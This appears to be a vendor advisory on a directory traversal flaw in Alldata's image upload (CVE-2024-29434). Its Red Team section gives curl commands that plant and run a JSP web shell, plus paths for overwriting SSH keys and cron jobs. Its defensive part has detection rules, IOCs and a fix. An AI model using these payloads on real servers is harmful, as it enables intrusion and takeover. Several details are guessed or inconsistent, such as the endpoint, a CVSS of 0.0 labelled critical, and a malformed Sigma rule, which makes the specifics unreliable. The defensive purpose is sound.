CVE-2024-29434

Executive Summary

CVE-2024-29434 is a directory traversal vulnerability in the system image upload interface of Alldata v0.4.6. An attacker can exploit this flaw to upload files to arbitrary directories outside the intended upload path, potentially leading to remote code execution, data exfiltration, or system compromise. The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

Alldata is an open-source data platform. This vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Alldata should verify their deployment version and apply any available workarounds.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Threat Level: Critical (estimated based on impact)

Deep Dive & Mechanics

The vulnerability exists in the system image upload functionality of Alldata v0.4.6. The application fails to properly sanitize user-supplied filenames during the upload process. By crafting a filename containing path traversal sequences (e.g., ../../etc/passwd), an attacker can write files to arbitrary locations on the server's filesystem.

Attack Flow:

1. The attacker identifies the upload endpoint (e.g., /api/system/images/upload).
2. The attacker sends a POST request with a multipart form containing a file whose name includes directory traversal characters.
3. The server processes the filename without validation, concatenating it with the base upload directory.
4. The file is written to the attacker-specified path, potentially overwriting critical system files or placing a web shell in a web-accessible directory.

Impact:

• Remote Code Execution (RCE) via web shell upload.
• Data exfiltration by overwriting configuration files.
• Denial of Service (DoS) by corrupting system files.

Vulnerable vs. Patched Code

Vulnerable Code (Alldata v0.4.6):

// Example vulnerable Java code
public void uploadImage(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String uploadPath = "/var/www/alldata/uploads/";
    File dest = new File(uploadPath + fileName);
    file.transferTo(dest);
}

Patched Code (Hypothetical fix):

// Example patched Java code
public void uploadImage(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // Sanitize filename
    fileName = fileName.replaceAll("[^a-zA-Z0-9._-]", "_");
    String uploadPath = "/var/www/alldata/uploads/";
    File dest = new File(uploadPath + fileName);
    // Ensure file is within the intended directory
    if (!dest.getCanonicalPath().startsWith(new File(uploadPath).getCanonicalPath())) {
        throw new SecurityException("Invalid file path");
    }
    file.transferTo(dest);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Alldata v0.4.6 instance accessible over the network.
• Knowledge of the upload endpoint (e.g., /api/system/images/upload).

Exploit Steps:

1. Identify the upload endpoint using directory brute-forcing or API documentation.
2. Craft a malicious file with a traversal payload in the filename:
   • Example: ../../../../var/www/html/shell.jsp
3. Upload the file using a tool like curl:

   curl -X POST -F "file=@shell.jsp;filename=../../../../var/www/html/shell.jsp" http://target.com/api/system/images/upload
   

4. Access the uploaded file to execute commands:

   curl http://target.com/shell.jsp?cmd=id
   

Alternative Payloads:

• Overwrite SSH authorized_keys: ../../../../root/.ssh/authorized_keys
• Overwrite cron jobs: ../../../../etc/cron.d/malicious

Blue Team

Detection:

• Monitor for filenames containing ../ or ..\\ in upload requests.
• Alert on files written outside the designated upload directory.
• Use file integrity monitoring (FIM) to detect unauthorized changes.

Mitigation:

• Implement strict input validation on filenames.
• Use a whitelist of allowed characters.
• Store uploaded files with randomized names and map them to original names in a database.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.

Indicators of Compromise (IOCs)

• File Paths:
  • /var/www/html/shell.jsp
  • /root/.ssh/authorized_keys (unexpected modifications)
  • /etc/cron.d/malicious
• Network Patterns:
  • POST requests to /api/system/images/upload with filenames containing ../
• Log Entries:
  • Application logs showing file writes to unexpected directories.
  • Web server logs with 200 responses to uploaded shell files.

Detection Engineering

YARA Rule

rule CVE_2024_29434_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in Alldata upload filenames"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29434"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
    condition:
        any of ($traversal*)
}

Sigma Rule

title: Alldata Directory Traversal Upload Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts in Alldata image upload endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/system/images/upload'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of '..' in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29434 Alldata Directory Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/system/images/upload"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected Alldata instances from untrusted networks.
2. Implement a WAF rule to block filenames containing ../ or ..\\.
3. Apply file permission restrictions to prevent overwriting critical system files.

Long-term Fix:

• Upgrade to a patched version of Alldata (if available).
• If no patch exists, modify the source code to sanitize filenames and validate file paths as shown in the patched code example.
• Consider using a secure file upload library that handles path traversal automatically.

Workaround:

• Disable the image upload functionality if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT